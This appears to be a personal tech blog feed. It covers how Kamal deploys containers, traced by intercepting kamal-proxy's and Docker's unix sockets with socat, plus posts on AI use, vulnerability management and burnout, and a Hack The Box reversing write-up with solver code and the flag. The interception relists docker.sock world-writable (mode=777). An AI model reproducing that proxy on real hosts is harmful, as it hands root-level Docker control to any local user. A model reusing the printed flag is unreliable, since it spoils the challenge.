$ nsenter --net --target $(docker inspect -f '{{.State.Pid}}' kamal-proxy) \
  iptables -t nat -L -n
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination

Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
DOCKER_OUTPUT  0    --  0.0.0.0/0            127.0.0.11

Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination
DOCKER_POSTROUTING  0    --  0.0.0.0/0            127.0.0.11

Chain DOCKER_OUTPUT (1 references)
target     prot opt source               destination
DNAT       6    --  0.0.0.0/0            127.0.0.11           tcp dpt:53 to:127.0.0.11:39291
DNAT       17   --  0.0.0.0/0            127.0.0.11           udp dpt:53 to:127.0.0.11:57361

Chain DOCKER_POSTROUTING (1 references)
target     prot opt source               destination
SNAT       6    --  127.0.0.11           0.0.0.0/0            tcp spt:39291 to::53
SNAT       17   --  127.0.0.11           0.0.0.0/0            udp spt:57361 to::53

In order to understand these rules it’s important to know that Docker’s embedded DNS resolver runs at 127.0.0.11 inside every container’s network namespace. Let’s see what these rules are doing:

DOCKER_OUTPUT intercepts outgoing DNS queries:

TCP port 53 → redirected to 127.0.0.11:39291
UDP port 53 → redirected to 127.0.0.11:57361

Any process inside this namespace that tries to query DNS on port 53 gets silently redirected to dockerd’s actual listening ports. The process never knows.

DOCKER_POSTROUTING is the return path, it rewrites the source port back to 53 on the way out:

Responses from 127.0.0.11:39291 → source rewritten to port 53
Responses from 127.0.0.11:57361 → source rewritten to port 53

But this still doesn’t explain how kamal-proxy knows about the new container! Let’s inspect the binary itself:

$ docker exec kamal-proxy kamal-proxy deploy --help
Deploy a target host
# ...
--target strings  Target host(s) to deploy
# ...

Turns out kamal-proxy is told about the container instead of figuring it out!

$ docker exec kamal-proxy kamal-proxy list
Service  Host           Path  Target             State    TLS
xps-web  tasks.xps.one  /     dfdee429978c:8080  running  yes

See how our target is the existing container? Pretty cool! So who tells kamal-proxy about the container and how? A common pattern in these systems is to use a unix socket to communicate with a process, do we have one of those?

$ cat /proc/$(docker inspect -f '{{.State.Pid}}' kamal-proxy)/net/unix
Num       RefCount Protocol Flags    Type St Inode Path
00000000790abc7c: 00000002 00000000 00010000 0001 01 18782 /tmp/kamal-proxy.sock

Bingo! proc/<pid>/net/ shows the network state from inside the process’s network namespace, including sockets. Since we are interested in unix sockets, we ran /proc/<pid>/net/unix to find it. This is the path as seen from inside the container’s filesystem. To access it from the host we need to find it through the overlay filesystem:

$ find /var/lib/docker -name "kamal-proxy.sock" 2>/dev/null
/var/lib/docker/rootfs/overlayfs/b9958b81313ca466bfb55a5e97cdef16123ddab4c8443d37e8c88282ed19be7e/tmp/kamal-proxy.sock

There we have it! Can we use something like socat to intercept the traffic going through it? In order to do it we will have to put a proxy in front of Kamal’s proxy and then trigger a re-deploy. How fun is that?!

$ cd /var/lib/docker/rootfs/overlayfs/b9958b81313ca466bfb55a5e97cdef16123ddab4c8443d37e8c88282ed19be7e/tmp/ 

# Move the real socket aside
mv kamal-proxy.sock kamal-proxy.sock.real

# Create the intercepting proxy
socat -v \
  UNIX-LISTEN:kamal-proxy.sock,fork,reuseaddr,mode=777 \
  UNIX-CONNECT:kamal-proxy.sock.real \
  2>&1 | tee /tmp/socket-traffic.log
> 2026/02/26 04:01:02.000725236  length=1024 from=0 to=1023
.....\aRequest.......\rServiceMethod.\f...Seq..........kamal-proxy.Deploy........
DeployArgs.....\a.\aService.\f..
TargetURLs.....
ReaderURLs.....\rDeployTimeout....\fDrainTimeout.....ServiceOptions.....\rTargetOptions............\b[]string.....\f...........ServiceOptions.....\f..Hosts.....\fPathPrefixes.....
TLSEnabled.....TLSCertificatePath.\f...TLSPrivateKeyPath.\f..\vTLSRedirect....\rACMEDirectory.\f..\rACMECachePath.\f..\rErrorPagePath.\f..\vStripPrefix.....WriterAffinityTimeout.....ReadTargetsAcceptWebsockets............\rTargetOptions.....
..HealthCheckConfig......ResponseTimeout.....BufferRequests.....BufferResponses.....MaxMemoryBufferSize.....MaxRequestBodySize.....MaxResponseBodySize.....LogRequestHeaders......LogResponseHeaders......ForwardHeaders.....A......HealthCheckConfig........Path.\f..\bInterval....\aTimeout..........\axps-web...13e21e3cada6:8080..\r.GX...\r.GX....\rtasks.xps.one.../.....+/home/kamal-proxy/.config/kamal-proxy/certs.....e......../up..........T\v.....\r.GX....... ....\rCache-Control\rLast-Modified
User-Agent..< 2026/02/26 04:01:02.000744785  length=86 from=0 to=85
9....\bResponse.......\rServiceMethod.\f...Seq.....Error.\f........kamal-proxy.Deploy.....

It seems like kamal-proxy communicates through RPC. More importantly, can you spot the new container ID in there? Here it is! 13e21e3cada6:8080. And if we run docker ps again:

$ docker ps
CONTAINER ID   IMAGE                         COMMAND             CREATED         STATUS                   PORTS                                                                          NAMES
13e21e3cada6   kaeros/xps:98043a3            "/app/server"       4 minutes ago   Up 4 minutes (healthy)   8080/tcp                                                                       xps-web-98043a3
b9958b81313c   basecamp/kamal-proxy:v0.9.0   "kamal-proxy run"   24 hours ago    Up About an hour         0.0.0.0:80->80/tcp, [::]:80->80/tcp, 0.0.0.0:443->443/tcp, [::]:443->443/tcp   kamal-proxy

The container IDs match! Very neat.

We are getting to the end here. The image used by Kamal is deterministic since in my case every deploy uses git rev-parse --short HEAD as a tag:

$ git rev-parse --short HEAD
98043a3

See how it matches kaeros/xps:98043a3? Kamal uses the git SHA as the image tag, then after starting the new container it gets the container ID from Docker’s API and passes that to kamal-proxy. We can apply the same socat interception technique to the Docker socket itself in order to learn which commands Kamal is running since it SSHs into our server:

$ ls -la /var/run/docker.sock
srw-rw---- 1 root docker 0 Feb 26 03:00 /var/run/docker.sock

# Move it aside and proxy it
mv /var/run/docker.sock /var/run/docker.sock.real

socat -v \
  UNIX-LISTEN:/var/run/docker.sock,fork,reuseaddr,mode=777 \
  UNIX-CONNECT:/var/run/docker.sock.real \
  2>&1 | tee /tmp/docker-socket-traffic.log

# ...
HEAD /_ping HTTP/1.1\r
Host: api.moby.localhost\r
User-Agent: Docker-Client/29.2.1 (linux)\r
\r
< 2026/02/26 04:18:53.000758423  length=316 from=0 to=315
HTTP/1.1 200 OK\r
Api-Version: 1.53\r
Builder-Version: 2\r
Cache-Control: no-cache, no-store, must-revalidate\r
Content-Length: 0\r
Content-Type: text/plain; charset=utf-8\r
Docker-Experimental: false\r
Ostype: linux\r
Pragma: no-cache\r
Server: Docker/29.2.1 (linux)\r
Swarm: inactive\r
Date: Thu, 26 Feb 2026 04:18:53 GMT\r
\r
> 2026/02/26 04:18:53.000764740  length=128 from=92 to=219
# ...
# waaay more requests
# ...

And this clears any doubt of what is happening:

Pull the new image

DELETE /v1.53/images/kaeros/xps:98043a3   ← remove stale local copy
POST   /v1.53/images/create?fromImage=kaeros/xps&tag=98043a3  ← pull fresh from Docker Hub
GET    /v1.53/images/kaeros/xps:98043a3/json  ← inspect the image

Ensure infrastructure exists

POST /v1.53/networks/create {"Name":"kamal"...}
GET  /v1.53/containers/kamal-proxy/json
POST /v1.53/containers/kamal-proxy/start

Find and rename the old container

GET  /v1.53/containers/json?filters={"label":{"service=xps","role=web"...}}
POST /v1.53/containers/xps-web-98043a3/rename?name=xps-web-98043a3_replaced_4c73fa88

Create and start the new container

POST /v1.53/containers/create?name=xps-web-98043a3
{
  "Image": "kaeros/xps:98043a3",
  "Labels": {"destination":"","role":"web","service":"xps"},
  "Env": ["KAMAL_VERSION=98043a3", "KAMAL_CONTAINER_NAME=xps-web-98043a3"...],
  "Memory": 268435456,      ← 256MB limit from deploy.yml
  "NanoCpus": 1000000000,   ← 1 CPU limit
  "SecurityOpt": ["no-new-privileges:true"]
}
POST /v1.53/containers/7c001501e3ca/start

Tell kamal-proxy about the new container

POST /v1.53/containers/kamal-proxy/exec
{
  "Cmd": [
    "kamal-proxy", "deploy", "xps-web",
    "--target=7c001501e3ca:8080",   ← new container ID, first 12 chars
    "--host=tasks.xps.one",
    "--tls",
    "--health-check-path=/up",
    "--buffer-requests",
    "--buffer-responses"
    ...
  ]
}

Stop the old container

POST /v1.53/containers/13e21e3cada6/stop

Cleanup

POST /v1.53/images/kaeros/xps:98043a3/tag?repo=kaeros/xps&tag=latest
POST /v1.53/images/prune?filters={"dangling":true,"label":{"service=xps"}}
GET  /v1.53/containers/json?filters={"label":{"service=xps"},"status":{"exited"}}

Before quitting, let’s quickly see how kamal-proxy stores its state.

Mounts

$ docker inspect kamal-proxy | jq '.[0].Mounts'
[
  {
    "Type": "volume",
    "Name": "kamal-proxy-config",
    "Source": "/var/lib/docker/volumes/kamal-proxy-config/_data",
    "Destination": "/home/kamal-proxy/.config/kamal-proxy",
    "Driver": "local",
    "Mode": "z",
    "RW": true,
    "Propagation": ""
  },
  {
    "Type": "bind",
    "Source": "/home/deploy/.kamal/proxy/apps-config",
    "Destination": "/home/kamal-proxy/.apps-config",
    "Mode": "",
    "RW": true,
    "Propagation": "rprivate"
  }
]

Let’s dig into these:

$ find /var/lib/docker/volumes/kamal-proxy-config/_data -type f
/var/lib/docker/volumes/kamal-proxy-config/_data/certs/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855/tasks.xps.one
/var/lib/docker/volumes/kamal-proxy-config/_data/certs/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855/acme_account+key
/var/lib/docker/volumes/kamal-proxy-config/_data/kamal-proxy.state

That kamal-proxy.state looks interesting!

$ cat /var/lib/docker/volumes/kamal-proxy-config/_data/kamal-proxy.state | jq .[
  {
    "name": "xps-web",
    # ...
    "active_targets": [
      "dfdee429978c:8080"
    ],
     # ...
  }
]

active_targets has our new container ID! Let’s re-deploy and see how this file changes:

$ watch -n0.5 'cat /var/lib/docker/volumes/kamal-proxy-config/_data/kamal-proxy.state | jq .'

# ...
"active_targets": [
      "00b4e865ec54:8080" # Changed!
]
# ...

So this is how kamal-proxy keeps the current state of the system.

This was an interesting journey with lots of dead ends. As the reader you have the privilege of walking on the paved path instead of blindly stumbling through the infrastructure like I did. If you feel like I missed something or things are unclear, give me a shout! See you next time.

Thoughts on using AI

Sun, 27 Jul 2025 12:30:00 GMT

I’ve been asked multiple times about what I think regarding AI and how it impacts, or might impact, my work and life in the long run. After the last such question, I noticed that my stance has shifted after being exposed to different ways that AI can and has been embedded (no pun intended) in my daily life. Hopefully, writing about it will help me solidify my thought process while having a place to point people to if they ever want to hear my opinion on this matter.

Something that I firmly believe is that AI is a wonderful tool to lower the entry barrier in a topic I’m already familiar with. Take programming as an example: if I need to write a script in a programming language that I’m not familiar with, like Lua, AI does an amazing job reducing the friction of having to research the syntax or APIs. This is only helpful because I’m able to judge its output given my prior experience with programming. I wouldn’t go as far as saying it helps me directly learn Lua, since this can only happen through effort, but it indirectly helps me by reducing the friction of finding good resources or patterns.

As a counterpoint, watching something is not the same as doing it. I could watch a thousand hours of climbing videos and I would still not be able to climb proficiently. I could also watch people programming for hours, but I wouldn’t become a competent programmer myself. Copying the output of an AI interaction is the same as watching videos, unless I’m thinking critically and executing myself, my learning will be shallow at most. As a data point to the prior statement, I’ve caught myself asking the same or similar questions multiple times to AI since I’ve not internalized any of the concepts it explained to me.

It gets worse. Blindly trusting code that AI outputs lowers my competency in the long run since I’m not putting in the effort to improve or maintain my skills. Individually, this is something I can watch out for, but collectively this scares me. I work on multiple codebases on a daily basis (like many of you), and as more AI-generated code gets shipped, the lower our collective competency becomes in terms of overall context (this is already happening) and skill level. As a consequence, maintaining systems will become orders of magnitude harder. We might be shooting ourselves in the foot, or maybe AI will become so good that none of it will matter, but who knows?

What about things I don’t need (or want) to be competent at? This is where my opinion shifts again and AI becomes an amazing technology. I love being able to ask dumb questions and receive answers without any judgment. I also love how I can ask for the answers to be framed based on topics I’m already familiar with. It makes me more creative by exposing me to concepts that I would have a hard time searching for. It helps me get things done faster.

This brings me to AI agents, an amazing technology to reduce or eliminate toil. I don’t want to spend hours a week assessing something that doesn’t bring me value. Could I become more efficient at my assessments? Sure! But I don’t want to. I would rather spend my time solving interesting problems. Agents done right are like automations on steroids, and which developer doesn’t like to automate things?

So will I keep using AI? Absolutely! I’ve seen a lot of folks complaining that AI takes away the joy of learning or doing something, but this is entirely dependent on how the individual uses AI. Chess or Go remain incredibly fun to learn and master despite computers being able to play on better terms than us humans. Programming, writing and whatnot should be treated the same way.

No one can predict where this (or any) technology will end up. We might be fully automating ourselves or hitting an inflection point where the technology’s progress tapers off. Airplanes and cars saw incredible progress in the early stages, but have remained mostly the same for commercial use for decades now. Despite the outcome, don’t let AI replace your critical thinking and effort, it still deeply matters and will bring you joy.

Sustainable Vulnerability Management

Sat, 10 May 2025 08:00:00 GMT

This is a follow up on my previous post titled “Vulnerability Management Pitfalls (and How to Avoid Them)“. It dives into one of the topics listed there: Poorly prioritized issues. Given its importance, I felt it deserved a dedicated post.

One of the most common mistakes I see Vulnerability Management (VM) teams make is surfacing every identified risk, regardless of whether the organization has the capacity to act on it.

As VM teams mature, they expand automation across more surface areas, surfacing more risk in the process. But the organization’s capacity to remediate risk often remains fixed. This mismatch creates mounting pressure.

Once the volume of surfaced risk exceeds the organization’s ability to respond, things start to break down.

Teams begin to feel overwhelmed. Requests from security start taking longer to resolve or are ignored entirely. Over time, the Vulnerability Management team risks losing credibility and goodwill across the organization.

So What Should Vulnerability Management Teams Do?

Instead of surfacing every risk as a discrete task, VM teams should focus on creating continuous mechanisms for reducing risk. Think in terms of policy and automation rather than one-off requests. Use discrete tasks sparingly, reserving them for critical, time-sensitive vulnerabilities, like CVEs with known exploits that impact the critical path or reproducible bug bounty reports.

With the right metadata, the VM team can quickly assess the critical systems and deprioritize most of the tasks. This requires a deeper understanding of your organization’s infrastructure—and often, the creation of new datasets. But the long-term benefits far outweigh any short-term slowdown.

Below we can see a few common themes that might be useful across the industry:

Policy-Driven Risk Reduction

Define organization-wide security policies that can be enforced through infrastructure (e.g., image freshness, minimum package versions) It sets clear expectations and eliminates the need to chase teams down for repeat issues.

Example: A policy that “containers must be rebuilt every 30 days” can replace dozens of tickets about outdated dependencies.

Automation Over Notification

Build systems that automatically handle known classes of risk (e.g., patch management, stale secrets, outdated libraries). It removes human effort for common fixes and frees up attention for critical work.

Example: Automated host rotation using hardened base images instead of asking teams to patch vulnerabilities.

Leverage Metadata and Asset Context

Enrich findings with metadata such as ownership, internet exposure, data sensitivity, and usage environment. You can filter out low-priority issues and escalate only meaningful ones.

Example: A vulnerability on an internal dev tool is deprioritized, while the same issue on a public-facing API triggers a task.

Dependency and Supply Chain Controls

Block high-risk dependencies or packages at the CI/CD level. Prevents bad decisions early in the pipeline instead of cleaning them up after the fact.

Example: Use tools like Dependabot or Xray with policies that prevent merging code with unreviewed critical CVEs.

Triage and Threshold-Based Escalation

Define thresholds (e.g., EPSS scores, known exploits, volume of affected assets) for when a risk should become a ticket. Helps avoid alert fatigue and aligns expectations.

Example: Only surface risks that have confirmed exploitation in the wild or affect more than X% of infrastructure.

Invest in Program-Level Thinking

Think in terms of long-term security outcomes instead of vulnerability whack-a-mole. Encourages systemic fixes over reactive noise.

Example: Instead of surfacing each outdated library, identify patterns (e.g., which teams need better upgrade workflows) and fix those root causes.

Partner Early With Infra and Dev Teams

Involve partner teams when designing controls to ensure they’re feasible, adoptable, and observable. Builds shared ownership and avoids friction when enforcing or monitoring.

Example: Collaborate to implement a shared image registry that can be centrally monitored for freshness.

These examples only scratch the surface. The right policies and automations depend heavily on your organization’s structure and risk tolerance. But the takeaway is the same: make discrete tasks exceptional, and they’ll be treated as such.

The next time your team rolls out a new Vulnerability Management program, ask yourself: can most of this risk be addressed through automation or policy? That answer will shape whether your program earns engagement or resistance.

Vulnerability Management Pitfalls (and How to Avoid Them)

Sat, 15 Mar 2025 08:00:00 GMT

Ask ten companies about the responsibilities of a Vulnerability Management team, and you’ll probably get twelve different answers. That’s because every organization is unique, with different structures, tools, and challenges. Yet, despite these differences, many Vulnerability Management teams fall into the same common traps. Let’s explore these pitfalls and how to avoid them.

Development

Vulnerability Management teams can learn a lot from product teams. Both groups are about building, iterating and improving, but with different goals. Here are some common mistakes I’ve seen and how to approach them differently.

Non risk-based planning and solutions

It’s tempting to try and tackle every problem/vulnerability in a new surface area. But spending too much time trying to find and fix everything can slow progress and delay real impact.

Example: Imagine a team tackling container scanning. The instinct might be to identify every container in use, map out relationships between containers, and scan each one for vulnerabilities. Sounds thorough, right? But in reality, this process often hits unexpected roadblocks and can take forever to provide value.

Key Question:

Where does most of the risk lie in this particular surface area?

In many cases, the highest risk originates from base containers not built by our organization. These containers are foundational, widely used, and often outside our control. Focusing on them can simplify the solution by removing the need to map complex container relationships.

Once the key risk areas are identified, teams can explore complementary solutions to further reduce risk:

Prevent or monitor the introduction of new base containers
Reduce the surface area in base containers by using distroless containers or a vendor like Chainguard

This approach mirrors the concept of a Minimum Viable Product (MVP) used in product development. By focusing on the highest-risk areas, teams can quickly reduce the threat surface. Later iterations can address residual risks if needed.

Rigid Designs

A rigid pipeline design can create single points of failure, limiting the team’s ability to adapt or recover if a tool or process breaks. Systems that depend on a single scanning tool, API, or vendor-specific solution can become bottlenecks if that tool experiences downtime or becomes obsolete.

Example: Consider a team that creates a Software Bill of Materials (SBOM) for its libraries. By generating an SBOM in an industry-standard format like SPDX or CycloneDX, the team gains the flexibility to use multiple vulnerability scanning tools interchangeably. If one tool becomes unavailable or unreliable, the SBOM ensures that another tool can pick up the task without disruption. This approach minimizes dependency on a single tool and adds flexibility to the pipeline. Moreover, by adhering to open standards, the team decouples itself from vendor lock-in, ensuring long-term adaptability and integration with emerging tools.

Best Practices:

Use industry-standard formats to simplify integration with alternative solutions
Regularly test alternatives to ensure they can be swapped in when needed
Build redundancy and failover capabilities into critical pipeline components
Document fallback plans and ensure they’re easily accessible

Flexibility in design not only mitigates risk but also enables innovation and smoother scaling as new tools and processes emerge.

Lack of Monitoring

Automation is only as reliable as the monitoring that supports it. Establishing metrics and automated alerts is essential to ensuring pipeline health and should be prioritized before initiating new projects.

Key questions:

What is the availability of my pipeline?
How long does it take to run?
What behavior is considered normal or anomalous?

The goal is to catch issues early and avoid surprises. Healthy pipelines mean fewer missed vulnerabilities and less firefighting later.

Lack of Metrics

Monitoring keeps things running, but measuring tells you if what you’re doing is actually working.

Example: A team introduces a static code analysis tool to automate vulnerability detection in their codebase. Initially, they focus on whether the tool runs successfully and completes scans. However, they lack insight into its effectiveness.

After introducing key metrics like tracking the number of vulnerabilities detected, false positive rates, and average time to resolution,they gain valuable insights. They discover that while the tool identifies a high volume of vulnerabilities, around 40% are false positives, frustrating product teams and causing delays.

With these insights, the team takes action:

Fine-tune the static analysis rules to reduce false positives
Filter out low-severity issues that don’t meet their defined risk threshold
Establish baseline metrics to track trends and measure improvements over time

As a result, the tool becomes more effective, reporting is clearer, and the product teams trust the findings, leading to faster remediation and a stronger security posture.

Key questions:

How many vulnerabilities have we uncovered over time?
Are we seeing more false positives or false negatives?
How has our detection rate changed over time?
Are we meeting our SLAs for resolution?

Metrics aren’t just numbers—they tell a story about whether your efforts are paying off. Without them, you’re flying blind.

Lack of Documentation and Knowledge Sharing

We’ve all been there. A problem crops up, and someone says, “Didn’t we fix this last year?” Only to find there’s no record of how or why. Without good documentation, teams repeat mistakes, waste time, and lose valuable insights.

Example: A team repeatedly encounters vulnerabilities in third-party libraries used across multiple applications. However, because previous remediation steps were never documented, developers spend unnecessary time rediscovering the same solutions. Additionally, security engineers waste time re-explaining the risks and mitigations to multiple teams instead of directing them to a well-maintained knowledge base.

Key areas that require documentation:

Historical Vulnerability Data: Maintain a centralized record of past vulnerabilities, their impact, and how they were mitigated. This helps prevent duplicate work and ensures consistency in risk assessments
Remediation Playbooks: Provide clear, step-by-step remediation guides for commonly occurring vulnerabilities, reducing the need for manual intervention
Exception Handling: Document cases where vulnerabilities cannot be immediately patched, including the rationale, temporary mitigations, and an agreed-upon resolution timeline
Communication and Escalation Paths: Ensure teams know where to report new vulnerabilities and how they should escalate critical findings

More best practices:

Keep a central repository for documenting pipelines and processes
Document the reasoning behind key security decisions to provide future context
Host regular knowledge-sharing sessions to keep everyone informed

Reporting

Missteps in how vulnerabilities are reported can lead to common frustrations among Vulnerability Management teams, such as slow resolution times or “won’t fix” responses.

Surfacing non-actionable or hard to action vulnerabilities

Reporting issues without clear actions or context fosters friction. Such issues are often ignored or delayed beyond SLA timelines, increasing “vulnerability burnout” and eroding trust.

Example: Imagine a vulnerability report that simply states, “High severity vulnerability found in XYZ library.” There’s no indication of where the library is used, its version, or whether it’s in an active production system. The report also doesn’t clarify the potential impact or offer guidance on remediation. As a result, the receiving team is left with several questions:

Where exactly is this library used?
- Is it exposed to external threats, or is it an internal component?
What is the immediate action expected of them?
- Without this context, the team must spend time investigating or clarifying the report, delaying the resolution and increasing frustration.

Instead, the report could state: “A high severity vulnerability (CVE-XXXX-YYYY) has been identified in the XYZ library, version 1.2.3, used within the payment service. This library is exposed to external web traffic, and exploitation could lead to unauthorized access. The suggested remediation is to upgrade to version 1.2.5. If this is not possible, consider applying the following compensating controls.”

This version gives immediate clarity, outlines risk, and offers an actionable next step—reducing confusion and enabling faster remediation.

Best practices:

Provide clear action plans with each reported vulnerability
Clearly articulate the risk and its organizational impact
Avoid assuming stakeholders will understand the severity or context of an issue

Poorly prioritized issues

If everything is a priority, then nothing is. Throwing every vulnerability at a team without proper prioritization can be another cause for “vulnerability burnout”.

Example: A Vulnerability Management team identifies multiple vulnerabilities within a product. They send a report listing every issue as “high priority” without considering the actual impact. Some vulnerabilities affect non-production systems with limited exposure, while others involve critical services directly accessible from the internet.

The receiving product team, overwhelmed by the volume and lack of clear prioritization, struggles to know where to start. As a result, critical vulnerabilities remain unaddressed, while time is wasted on low-risk issues. This not only delays risk reduction but also erodes trust between teams.

The team could instead categorize the issues based on risk and urgency:

Critical: Vulnerabilities impacting exposed production services.
High: Issues in internal systems that handle sensitive data.
Low: Vulnerabilities in non-production environments with limited impact.

This way, the product team can focus their efforts where it matters most, reducing risk faster and improving overall efficiency.

Best practices:

Clearly label high or critical priority vulnerabilities.
Automate where possible to minimize noise
Communicate priority rationales transparently

Organization

Effective Vulnerability Management depends on strong collaboration across teams. Clear communication and well-defined processes ensure that security efforts align with organizational goals.

Not being considered a stakeholder

Discovering key changes “too late” is a common challenge. This happens when Vulnerability Management teams are not recognized as stakeholders in new products or changes in existing systems.

Ideas:

Be proactive. Let teams know where and when you need to be involved
Create a stakeholder registry to formalize involvement.
Build relationships with teams that manage critical systems

For example, if you rely on an internal system to track production hosts, you need to be looped in before any API changes. Missing that could mean blind spots in your vulnerability detection.

Lack of Feedback Loops

Many Vulnerability Management teams implement processes but fail to establish effective feedback loops with stakeholders (like development or operations teams). Without feedback, it’s difficult to refine processes or understand real-world challenges.

Best practices:

Conduct regular retrospectives or feedback sessions with product teams to understand what’s working and what’s not
Use this feedback to refine vulnerability reporting, prioritize issues better, or improve automation processes
Establish two-way communication, ensuring that developers feel heard and valued in security processes

Vulnerability Management isn’t just about finding and fixing issues, it’s about building sustainable, proactive processes that evolve with the organization’s needs. The pitfalls outlined in this post are common, but they are also avoidable with the right strategies and mindset. What other pitfalls have you observed in your organization?

Cybersecurity Awareness Month CTF reversing challenge

Sat, 26 Oct 2024 18:00:00 GMT

This year I became aware of Cybersecurity Awareness Month CTF from HTB after it happened, but still managed to grab myself one of the reverse engineering challenges from the event called fryer, because why not?

Let’s see how the binary works:

$ ./fryer
Please enter your recipe for frying: whataboutcookies?
got:      `e?ktuwciahoabotos`
expected: `1_n3}f3br9Ty{_6_rHnf01fg_14rlbtB60tuarun0c_tr1y3`
This recipe isn't right :(

Our binary expects an input, transforms it somehow and checks it against a fixed string. Let’s see how things look through gdb.

Calling disass main shows the overall shape of our main function. I’ve omitted parts that are not relevant to the challenge in order to focus on the important aspects of the code:

gef> disass main

call   0x1090 <fgets@plt> # Reads our input
...
mov    rdi,rsp
call   0x11b9 <fryer>     # fryer function is called with our input
...
lea    rdi,[rip+0xd67]
mov    eax,0x0
call   0x1080 <printf@plt> # Prints the got/expected message
mov    rsi,rsp
mov    rdi,rbp
call   0x10a0 <strcmp@plt> # Compares our transformed input with the expected string
test   eax,eax
je     0x130a <main+200>   # Sends us to success/failure path

So at this point I have a single question:

How does the fryer function transforms our input?

Let’s inspect fryer

gef> disass fryer

mov    DWORD PTR [rip+0x2ea5],0x13377331
mov    DWORD PTR [rip+0x2e9f],0x1 
mov    rdi,rbp
call   0x555555555040 <strlen@plt>
mov    r12,rax
cmp    rax,0x1
jbe    0x555555555239 <fryer+128>
lea    r14,[rax-0x1]
mov    ebx,0x0
lea    r13,[rip+0x2e7a]
mov    rdi,r13
call   0x555555555060 <rand_r@plt>
cdqe
mov    rcx,r12
sub    rcx,rbx
mov    edx,0x0
div    rcx
add    edx,ebx
movzx  eax,BYTE PTR [rbp+rbx*1+0x0]
movsxd rdx,edx
add    rdx,rbp
movzx  ecx,BYTE PTR [rdx]
mov    BYTE PTR [rbp+rbx*1+0x0],cl
mov    BYTE PTR [rdx],al
add    rbx,0x1
cmp    rbx,r14
jne    0x555555555202 <fryer+73> # Back to mov rdi,r13

This looks complicated, but let’s break it down:

Store the following values: 0x13377331 and 0x1
Get the length of our input and store it in r12 through strlen
Abort process if our input is a single character
Store the length of our input minus one in r14
Store 0 into ebx
Store 0x13377331 in rdi and call rand_r with it.

This is where things start:

Move r12 into rcx, which is the length of our input
Subtract rbx from rcx, which is currently is zero
Store zero into edx
Call div on rcx, which sets the resulting value into rdx
Add ebx and rdx

That div operation will divide our “random number” by the value we computed and keep the remainder, so we can think of it as the modulus operator for our purposes. We can visualize this entire process as:

input_len = input.length
random_number = rand_r(0x13377331)
value = (random_number % (input_len - 0)) + 0

Let’s keep going:

Move [rbp+rbx*1+0x0] into eax, which is the first letter of our input
- rbp points to our input and rbx is currently zero
Add rdx to rbp, so now rdx points to a random place in our input
Move a byte in that location to ecx
Move that byte to [rbp+rbx*1+0x0], which is the first letter of our input
Move eax, which was the original first character into the rdxposition

So we have:

temp = input[0]
input[0] = input[rdx] # rdx is our "random value"
input[rdx] = temp

Which means we just swap the value in these two positions. What next?

Add 1 to rbx
Compare it with r14, which is our input length minus one
If the value is smaller, jump back to mov rdi,r13

So now we have the full picture of what is happening:

Iterate over characters in our input
Get a “random number” and compute an index with it
Swap values from the current index with the computed index
Stop when we reach the end of our input

Since we have access to the seed, we can reproduce what is happening. Let’s write a quick program in C to test our hypothesis:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void fryer(char *input) {
    size_t size = strlen(input);
    unsigned int seed = 0x13377331;

    for (size_t i = 0; i < size; i++) {
        unsigned int random_number = rand_r(&seed);
        size_t computed_index = (random_number % (size - i)) + i;
        char temp = input[i];
        input[i] = input[computed_index];
        input[computed_index] = temp;
    }
}

int main() {
    char input[48];
    printf("Enter value: ");
    scanf("%s", input);
    fryer(input);
    printf("Shuffled input: %s\n", input);

    return 0;
}

And running it with our original input yields:

$ ./test 
[Enter value: whataboutcookies?
Shuffled input: e?ktuwciahoabotos

Which is the same output as our fryer binary!

At this point we know exactly what is happening, so how can we reverse this? Well, what do we know?

rand_r is predictable since we always use the same seed
We know the equation that computes indexes to be swapped
We know swapping occurs from beginning to the end of our input

Given that, we can reverse the algorithm in the following way:

Compute the list of indexes to be swapped
Start from the end of our input and swap back our values
Repeat until we get to the beginning of our input

Which gives us this:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main() {
  char input[] = "1_n3}f3br9Ty{_6_rHnf01fg_14rlbtB60tuarun0c_tr1y3"; 
  int length = strlen(input);
  int indexes[length - 1];
  unsigned int seed = 0x13377331;
  
  // Compute our indexes ahead of time so we can backtrack
  for (int i = 0; i < length - 1; i++) {
      indexes[i] = rand_r(&seed) % (length - i) + i;
  }

  // Now we start reverting the process from the end to the beginning
  for (int i = length - 1; i >= 0; i--) {
    char temp = input[i];
    input[i] = input[indexes[i]];
    input[indexes[i]] = temp;
  }

  printf("%s\n", input);

  return 0;
}

And after compiling the program, we get our flag!

$ ./test 
[HTB{4_truly_t3rr0r_fry1ng_funct10n_9b3ab6160f31}

So overall a straighforward challenge, but it was fun to only rely on gdb to solve it. This could have likely be solved with angr, but I couldn’t find a decent way of doing it, let me know if you do!

Thoughts on burnout

Fri, 05 Jul 2024 18:00:00 GMT

I’ve been working really hard over the past few months on a project and yet I feel I’m further away from burning out than I was most of this past year. This feels counterintuitive, so I decided to write down some thoughts on the topic in the hopes that I will become more self-aware of patterns that might lead to burnout.

I’m convinced that burning out is not directly related to the amount of work being done, it’s totally possible to achieve work-life balance and still burn out. Of course working for really long hours and neglecting your personal life will increase your chances of burning out, so that’s not what we are talking about here.

With that in mind, I tried to pinpoint what were the characteristics of my work over the past few years that has led to my burnout symptoms. Nothing here is groundbreaking, but I hope it will be helpful to at least one more person besides myself.

Autonomy

Feeling a lack of autonomy is a big red flag for me. It’s not necessarily related to the autonomy of deciding what to work on, but rather the autonomy of deciding how to work on it. As long as everyone is aligned, having the flexibility to decide how to work on a problem is a big motivator for me. This is not always possible, but it’s something I will try to optimize for moving forward.

I’ve observed that communicating effectively increases my chances of being granted this autonomy, so it’s something to strive for. What I mean by that is framing my communication style to match what leadership expects. Some useful questions to keep in mind when communicating are:

What will be different when this effort is done?
How will this effort impact the business?
Are there any clear metrics (financial, efficiency, efficacy, or otherwise) that can be framed up to help show the current state versus the desired state?
How can you scope this work to help clarify the breadth of impact?

This is what leadership is thinking about, so framing your communication in this way will help you reach alignment and get buy-in. Talk to your manager or other senior engineers if you need help framing your proposal.

Context Switching

